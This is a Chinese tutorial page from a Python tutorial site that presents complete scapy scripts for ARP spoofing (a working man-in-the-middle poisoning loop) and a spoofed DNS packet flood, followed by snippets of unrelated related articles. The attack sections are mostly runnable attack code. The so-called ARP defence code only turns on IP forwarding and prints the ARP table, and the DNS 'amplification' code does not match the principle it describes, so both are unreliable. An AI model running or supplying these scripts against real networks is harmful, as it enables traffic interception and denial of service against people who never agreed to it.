Python中使用scapy模拟数据包实现arp攻击、dns放大攻击例子

我会给出基于Python中使用scapy模拟数据包实现arp攻击、dns放大攻击的完整攻略,并附上相应的示例说明。

一、arp攻击

1.1 arp欺骗

攻击机发送arp响应欺骗目标机,使得目标机将攻击机当作网关,将数据包发往攻击机上,达到窃取目标机信息的目的。

示例代码:

from scapy.all import *
import os
import sys
import threading 

tgt_ip = "192.168.1.100" # 目标主机IP
gtw_ip = "192.168.1.1" # 网关IP
tgt_mac = "" # 目标主机MAC
gtw_mac = "" # 网关MAC

def get_mac(ip_addr):
    responses, unanswered = srp(Ether(dst="ff:ff:ff:ff:ff:ff")/ARP(pdst=ip_addr), timeout=2, retry=10)
    for s, r in responses:
        return r[Ether].src
    return None

def arp_poison(tgt_ip, tgt_mac, gtw_ip, gtw_mac):
    poison_target = ARP()
    poison_target.op = 2
    poison_target.psrc = gtw_ip
    poison_target.pdst = tgt_ip
    poison_target.hwdst = tgt_mac

    poison_gateway = ARP()
    poison_gateway.op = 2
    poison_gateway.psrc = tgt_ip
    poison_gateway.pdst = gtw_ip
    poison_gateway.hwdst = gtw_mac

    print("[*] 开始ARP欺骗,按Ctrl+C可停止")
    while True:
        try:
            send(poison_target)
            send(poison_gateway)
            time.sleep(2)
        except KeyboardInterrupt:
            print("[*] 停止ARP欺骗")
            sys.exit(1)

def main():
    global tgt_mac
    global gtw_mac

    tgt_mac = get_mac(tgt_ip)
    if tgt_mac is None:
        print("[!] 获取目标主机MAC失败")
        sys.exit(1)
    else:
        print("[*] 目标主机MAC:", tgt_mac)

    gtw_mac = get_mac(gtw_ip)
    if gtw_mac is None:
        print("[!] 获取网关MAC失败")
        sys.exit(1)
    else:
        print("[*] 网关MAC:", gtw_mac)

    # 创建ARP欺骗线程
    arp_thread = threading.Thread(target=arp_poison, args=(tgt_ip, tgt_mac, gtw_ip, gtw_mac))
    arp_thread.start()

if __name__ == '__main__':
    main()

1.2 arp防御

采取静态ARP和动态ARP配合的方式,可以有效避免arp欺骗攻击。

静态ARP:由管理员手动定义IP地址和MAC地址的对应关系,此绑定关系无法自动更新。相当于将MAC地址绑定到相应的IP地址上,这样的绑定关系在网络中是静态不变的。

动态ARP:动态获取邻居信息(邻居就是在局域网中设置相同的网关的计算机)。在ARP协议中,有一种请求报文是“who has”,就是用来查询目标机器MAC地址的。发送“who has”报文请求的目标地址不存在时,会广播ARP请求报文,这时每台主机都会接收到该广播并且将自己的MAC地址回送给请求的机器,这样目标机器就获得了合法的下一跳MAC地址信息。

示例代码:

import os
import time

os.system('echo 1 > /proc/sys/net/ipv4/ip_forward') # 打开IP转发
while True:
    os.system('arp -a')
    time.sleep(5)

二、dns放大攻击

2.1 原理

既然我们能够自己伪造udp数据包,也就可以在发送数据包的时候将目标IP地址篡改成公共的DNS服务器IP地址,这样,通过DNS服务器就能向指定的目标ip发送非常大的响应包,从而攻击目标服务器主机。

2.2 示例代码

以下代码演示了如何通过scapy构造UDP包中的DNS消息格式,从而完成DNS放大攻击。

from scapy.all import *
import random

target_ip = "172.16.1.5" # 目标主机IP
spoof_ip = "8.8.8.8" # DNS服务器IP
target_port = 53 # 目标主机端口

query = DNS(rd=1, qd=DNSQR(qname="www.runoob.com"))
ip = IP(src=spoof_ip, dst=target_ip)
udp = UDP(sport=random.randint(1024, 65535), dport=target_port)
pkt = ip/udp/query

while True:
    send(pkt)

以上就是基于Python中使用scapy模拟数据包实现arp攻击、dns放大攻击的完整攻略,以及两个示例代码。

本站文章如无特殊说明,均为本站原创,如若转载,请注明出处:Python中使用scapy模拟数据包实现arp攻击、dns放大攻击例子 - Python技术站

(0)
上一篇 2023年6月3日
下一篇 2023年6月3日

相关文章

  • python 虚拟环境详解

    Python 虚拟环境详解 虚拟环境是 Python 中的一个机制,用于创建独立的 Python 环境。虚拟环境用于隔离不同项目中的依赖项,防止它们相互干扰。本文将为您提供创建和使用虚拟环境的详细攻略。 1. 安装和配置虚拟环境 在创建虚拟环境之前,您需要安装虚拟环境工具。Python 自带了一个虚拟环境工具 venv,可以通过以下命令来安装: python…

    python 2023年5月14日
    00
  • python解决网站的反爬虫策略总结

    下面是Python解决网站反爬虫策略的完整攻略。 总体思路 网站反爬虫策略大多数是通过识别爬虫的特征来进行的,因此我们的应对策略就是尽可能模拟正常用户的行为,隐藏我们的爬虫特征,使得网站无法识别出我们是爬虫。具体思路如下: 伪装请求头,将爬虫请求头中的特征(如User-Agent)替换成浏览器的请求头,或者使用随机请求头。 限制爬取频率,尽量模拟人类的行为,…

    python 2023年6月3日
    00
  • python变量命名的7条建议

    以下是Python变量命名的7条建议的详细攻略: 1. 变量名应当有意义,易于理解 在选择变量名时应该避免使用单个字母或缩写,而应该使用能够清晰表达变量用途的单词或短语,这有助于提高代码的可读性和易于理解程度。如: # 不好的变量名 a = 1 b = 2 # 好的变量名 width = 1 height = 2 2. 变量名应该遵循命名规范 Python有…

    python 2023年6月3日
    00
  • Python 计算距离

    Python 计算距离的方法有很多种,常用的算法有欧氏距离、曼哈顿距离、切比雪夫距离等。下面就让我们一一来学习吧。 欧氏距离 欧氏距离又叫做直线距离,是指在欧几里得几何中两点间距离的一种计算方式。计算公式如下: $d=\sqrt{\sum_{i=1}^n(x_i-y_i)^2}$ 其中,$n$ 表示坐标轴的维度,$x_i$ 和 $y_i$ 表示两个点在第 $…

    python-answer 2023年3月25日
    00
  • 零基础写python爬虫之使用urllib2组件抓取网页内容

    完整攻略如下: 零基础写Python爬虫之使用urllib2组件抓取网页内容 简介 如果你想学习网络爬虫,那么本文将会是一个很好的起点。我们将会使用Python的urllib2组件来抓取网页内容。 urllib2组件 urllib2是Python自带的一个HTTP客户端库,可以用来向指定的URL发送请求并获取相应的数据。以下是一些常用的方法: urllib2…

    python 2023年5月14日
    00
  • Python 2.7.13 Heroku dynos 上缺少 libpython2.7.so.1.0

    【问题标题】:Missing libpython2.7.so.1.0 on Python 2.7.13 Heroku dynosPython 2.7.13 Heroku dynos 上缺少 libpython2.7.so.1.0 【发布时间】:2023-04-06 07:15:02 【问题描述】: 我们正在 Heroku 上运行 Python 2.7.13 …

    Python开发 2023年4月6日
    00
  • python 环境变量和import模块导入方法(详解)

    Python环境变量和import模块导入方法是Python编程中非常重要的概念。本文将详细讲解Python环境变量和import模块导入方法,包括如何设置Python环境变量、如何使用import导入模块、如何使用from…import导入模块等。 Python环境变量 Python环境变量是指Python解释器在运行时使用的一些配置参数。Python…

    python 2023年5月15日
    00
  • Python cookbook(数据结构与算法)找到最大或最小的N个元素实现方法示例

    Python Cookbook 中提供了多种查找最大或最小的 N 个元素的实现方法示例,下面我们就来详细讲解其中两个实现方法。 heapq.nlargest 和 heapq.nsmallest 示例 heapq 模块是 Python 中用于实现堆排序算法的模块,我们可以使用该模块中的 nlargest 和 nsmallest 函数来实现找到序列中最大或最小的…

    python 2023年5月14日
    00
合作推广
合作推广
分享本页
返回顶部